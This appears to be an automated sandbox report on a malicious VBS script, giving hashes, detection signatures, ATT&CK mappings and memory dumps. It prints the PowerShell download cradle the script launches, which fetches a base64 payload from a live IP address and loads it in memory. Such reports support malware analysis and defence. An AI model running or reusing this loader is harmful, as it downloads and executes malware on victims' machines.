eedb863078dbdbd83a0d52d86dd779f27115360e17676e539602f4e1a8c9437c

Analysis

max time kernel
37s
max time network
45s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
03-10-2022 10:22

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General

Target

PD3007800123.vbs
Size

219KB
MD5

d873de1b3b907887305e325426c407d5
SHA1

99c502d13b119a1b614f7384a3ba83fab10cd85d
SHA256

eedb863078dbdbd83a0d52d86dd779f27115360e17676e539602f4e1a8c9437c
SHA512

c4577d024fbbd2ea7b143d9780c7ca9f813f914c7d820151acfcc5ba7a92ebea832537a9847b5a7d203df6f00186be6d9bc5a26e515c705badeee985def3ffa1
SSDEEP

48:DVK0hbQvuivLvyvTxYvsvuiv7vu2vJR2vFvvvfv1KvFvDv2UfHvrvUvgYvc2vGgR:xKWdUIlVcWHfvGvXimF

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://20.7.14.99/dll/dll_ink.pdf

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 1720 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1720 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1720 powershell.exe

flow	pid	process
3	1720	powershell.exe

pid	process
1720	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1720	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 1708 wrote to memory of 1720	1708	WScript.exe	powershell.exe
PID 1708 wrote to memory of 1720	1708	WScript.exe	powershell.exe
PID 1708 wrote to memory of 1720	1708	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PD3007800123.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1708

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.7.14.99/dll/dll_ink.pdf'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.emit/swen/36.81.331.591//:ptth'))
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1720

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1708-54-0x000007FEFBD81000-0x000007FEFBD83000-memory.dmp

Filesize
8KB

Download
memory/1720-55-0x0000000000000000-mapping.dmp

Download
memory/1720-57-0x000007FEF4240000-0x000007FEF4C63000-memory.dmp

Filesize
10.1MB

Download
memory/1720-59-0x0000000002844000-0x0000000002847000-memory.dmp

Filesize
12KB

Download
memory/1720-58-0x000007FEF36E0000-0x000007FEF423D000-memory.dmp

Filesize
11.4MB

Download
memory/1720-60-0x000000000284B000-0x000000000286A000-memory.dmp

Filesize
124KB

Download
memory/1720-61-0x0000000002844000-0x0000000002847000-memory.dmp

Filesize
12KB

Download
memory/1720-62-0x000000000284B000-0x000000000286A000-memory.dmp

Filesize
124KB

Download